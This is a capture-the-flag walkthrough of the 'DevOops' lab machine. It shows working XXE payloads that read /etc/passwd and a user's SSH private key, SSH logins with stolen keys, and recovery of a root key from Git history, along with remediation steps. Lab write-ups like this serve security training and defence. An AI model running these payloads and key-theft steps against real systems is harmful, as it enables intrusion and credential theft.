← all walkthroughs

DevOops

Linux· Medium
owned
2026-07-08
time to own
13m18s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered two exposed services on the target: SSH on port 22 and a Flask web application named 'Blogfeeder' on port 5000. The app's XML file-upload endpoint had no external-entity restrictions — the page source even left a developer comment admitting schema validation was missing.

By submitting a crafted XML file, I read arbitrary files from the server's filesystem, including the web user's SSH private key. That key unlocked an interactive shell as the user 'roosa'.

Exploring her home directory revealed the Flask app was backed by a Git repository; a prior commit contained an SSH private key labeled 'authcredentials.key' — a deployment credential accidentally committed and never purged from history. That key authenticated directly as root over SSH, delivering full system compromise without any password cracking or exploit.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning (T1046)
Scanned the host and identified the web application on port 5000
A full TCP port scan of the target found only two open ports: 22 (SSH, OpenSSH 7.x) and 5000 (Gunicorn/19.7.1 serving a Flask application). Browsing port 5000 returned an under-construction page identifying the app as 'feed.py' — the Blogfeeder MVP.
Nmap: '22/tcp open ssh' / '5000/tcp open upnp'; HTTP 200 OK Server: gunicorn/19.7.1 — 'This is feed.py'
Exact commands 2
Full TCP port scan to enumerate all open ports.
nmap -p- --min-rate 3000 -T4 -Pn $TARGET
Confirm the web application and its server banner.
curl -s -i http://$TARGET:5000/
2EnumerationWeb application content enumeration (T1595.003)
Discovered an unauthenticated XML upload endpoint with a developer warning
Browsing /upload revealed an unauthenticated API that accepted multipart XML file uploads expecting Author, Subject, and Content elements. The HTML source contained the comment '<!-- TODO: make XML schema for this -->', explicitly confirming the absence of any input validation and flagging the endpoint as an XML injection target.
'This is a test API! ... XML elements: Author, Subject, Content<!-- TODO: make XML schema for this -->'
Exact commands 1
Retrieve the upload endpoint page and read its source comments.
curl -s http://$TARGET:5000/upload
FixDisable XML External Entity processing in the Flask upload handlerCritical
WeaknessThe /upload endpoint parsed untrusted XML files without disabling external entity resolution. Any caller could instruct the server to open any file accessible to the web process — including SSH keys and application secrets — and have its contents returned in the HTTP response. No authentication was required to reach the endpoint.
FixReplace the current XML parser with the 'defusedxml' library (pip install defusedxml), which blocks external entities, DTD processing, and entity expansion by default. If using lxml, pass resolve_entities=False and no_network=True. Additionally, restrict the /upload endpoint to authenticated sessions, enforce a strict XML schema (the TODO comment must be resolved), and run the Gunicorn process as a dedicated low-privilege account that has no access to user home directories or SSH keys.
3ExploitationXML External Entity (XXE) injection (CWE-611)
Injected an XML External Entity payload to confirm arbitrary file read
A crafted XML file declaring an external entity pointing to a local file path was submitted to /upload. The Flask app parsed the document without disabling external entity resolution, causing the server to open the referenced file and reflect its contents in the Author field of the HTTP response. Reading /etc/passwd confirmed the XXE primitive and revealed local usernames including 'roosa'.
HTTP response from /upload included the full /etc/passwd file contents in the Author field when the XXE entity referenced file:///etc/passwd
Exact commands 2
Write the XXE payload targeting /etc/passwd to a local file.
cat > /tmp/xxe_passwd.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///etc/passwd">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
Submit the payload; /etc/passwd contents appear in the Author field of the response confirming arbitrary file read.
curl -sS -i -F 'file=@/tmp/xxe_passwd.xml' http://$TARGET:5000/upload
4Credential AccessCredential theft via XXE file read (T1552.004)
Exfiltrated the user flag and roosa's SSH private key via XXE
Using the confirmed XXE read primitive, I targeted /home/roosa/user.txt (capturing the user flag) and then /home/roosa/.ssh/id_rsa. The complete PEM-encoded RSA private key was returned in the server response. Because the Flask process ran as the 'roosa' system user, it had natural read access to all files in her home directory, including her SSH credentials.
XXE response for file:///home/roosa/.ssh/id_rsa returned a complete 'BEGIN RSA PRIVATE KEY' block; user.txt returned the user flag
Exact commands 3
Read the user flag via XXE — value is <user.txt>.
cat > /tmp/xxe_flag.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///home/roosa/user.txt">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
curl -sS -F 'file=@/tmp/xxe_flag.xml' http://$TARGET:5000/upload
Exfiltrate roosa's SSH private key from the response body; save the PEM block to /tmp/roosa_id_rsa.
cat > /tmp/xxe_key.xml << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY x SYSTEM "file:///home/roosa/.ssh/id_rsa">]>
<data><Author>&x;</Author><Subject>a</Subject><Content>b</Content></data>
EOF
curl -sS -F 'file=@/tmp/xxe_key.xml' http://$TARGET:5000/upload
Set correct permissions so SSH accepts the key.
chmod 600 /tmp/roosa_id_rsa
5FootholdSSH authentication with stolen private key (T1078.003)
Logged in as roosa using the stolen SSH key
The exfiltrated private key was used directly with the SSH client to authenticate as 'roosa', establishing a persistent interactive shell on the target without a password. I now had full access to roosa's home directory and any processes running under her account.
Ssh -i /tmp/roosa_id_rsa roosa@$TARGET succeeded; shell returned roosa@devoops:~$
Exact commands 1
Authenticate as roosa using the exfiltrated key.
ssh -i /tmp/roosa_id_rsa -o StrictHostKeyChecking=no roosa@$TARGET
6DiscoveryCredential discovery in version control history (T1552.003)
Found a leaked root SSH key buried in the application's Git commit history
The Flask app's working directory (~roosa/work/blogfeed) was a Git repository. Reviewing the commit log identified a prior commit (d387abf) that included a file named 'authcredentials.key' under resources/integration/ — a deployment or CI private key checked into source control and never purged. The file was also present as an untracked file in the current working tree, indicating it was once committed, later removed from tracking, but never deleted from disk or history.
Git show d387abf:resources/integration/authcredentials.key returned a full RSA private key block; ls confirmed the file present untracked on disk
Exact commands 3
List all commits; look for entries adding or removing credential files.
cd ~/work/blogfeed && git log --oneline
Extract the key from the specific commit that still contains it.
git show d387abf:resources/integration/authcredentials.key
Confirm the key file is also present untracked in the current working tree.
ls -la resources/integration/authcredentials.key
FixPurge committed secrets from Git history and prevent future credential exposureCritical
WeaknessAn SSH private key used as a deployment credential was committed into the application's Git repository and was never removed from history or disk, even after it was no longer tracked. Any user with repository read access — including the compromised web service account — could recover a working root credential from git history with a single command.
FixImmediately revoke the exposed key pair and remove it from root's authorized_keys. Rewrite Git history to eliminate the file from all branches and tags: use 'git filter-repo --path resources/integration/authcredentials.key --invert-paths' and force-push all refs. Install a pre-commit hook and CI gate (e.g. gitleaks or truffleHog) to block any future commits containing private keys or high-entropy credential patterns. Finally, set 'PermitRootLogin no' in /etc/ssh/sshd_config and reload SSH — all administrative access should flow through named user accounts with sudo, not a direct root SSH login.
7Privilege EscalationRoot SSH key reuse from leaked repository credential (T1078 / T1552.003)
Authenticated directly as root over SSH using the leaked deployment key
The authcredentials.key retrieved from Git history was a valid RSA private key listed in root's authorized_keys file — a CI/CD deployment credential accidentally committed to the application repository. Using it to SSH as root bypassed all operating system privilege barriers entirely, delivering a root shell and the root flag with a single command.
Ssh -i auth_d387abf.key root@$TARGET returned root@devoops:~#; root.txt read successfully
Exact commands 3
Retrieve the leaked root deployment key from the remote Git history via the roosa shell.
ssh -i /tmp/roosa_id_rsa roosa@$TARGET 'cd /home/roosa/work/blogfeed && git show d387abf:resources/integration/authcredentials.key' > /tmp/auth_d387abf.key && chmod 600 /tmp/auth_d387abf.key
Log in as root using the leaked key.
ssh -i /tmp/auth_d387abf.key -o StrictHostKeyChecking=no root@$TARGET
Read the root flag — value is <root.txt>.
ssh -i /tmp/auth_d387abf.key root@$TARGET 'cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
5000/tcp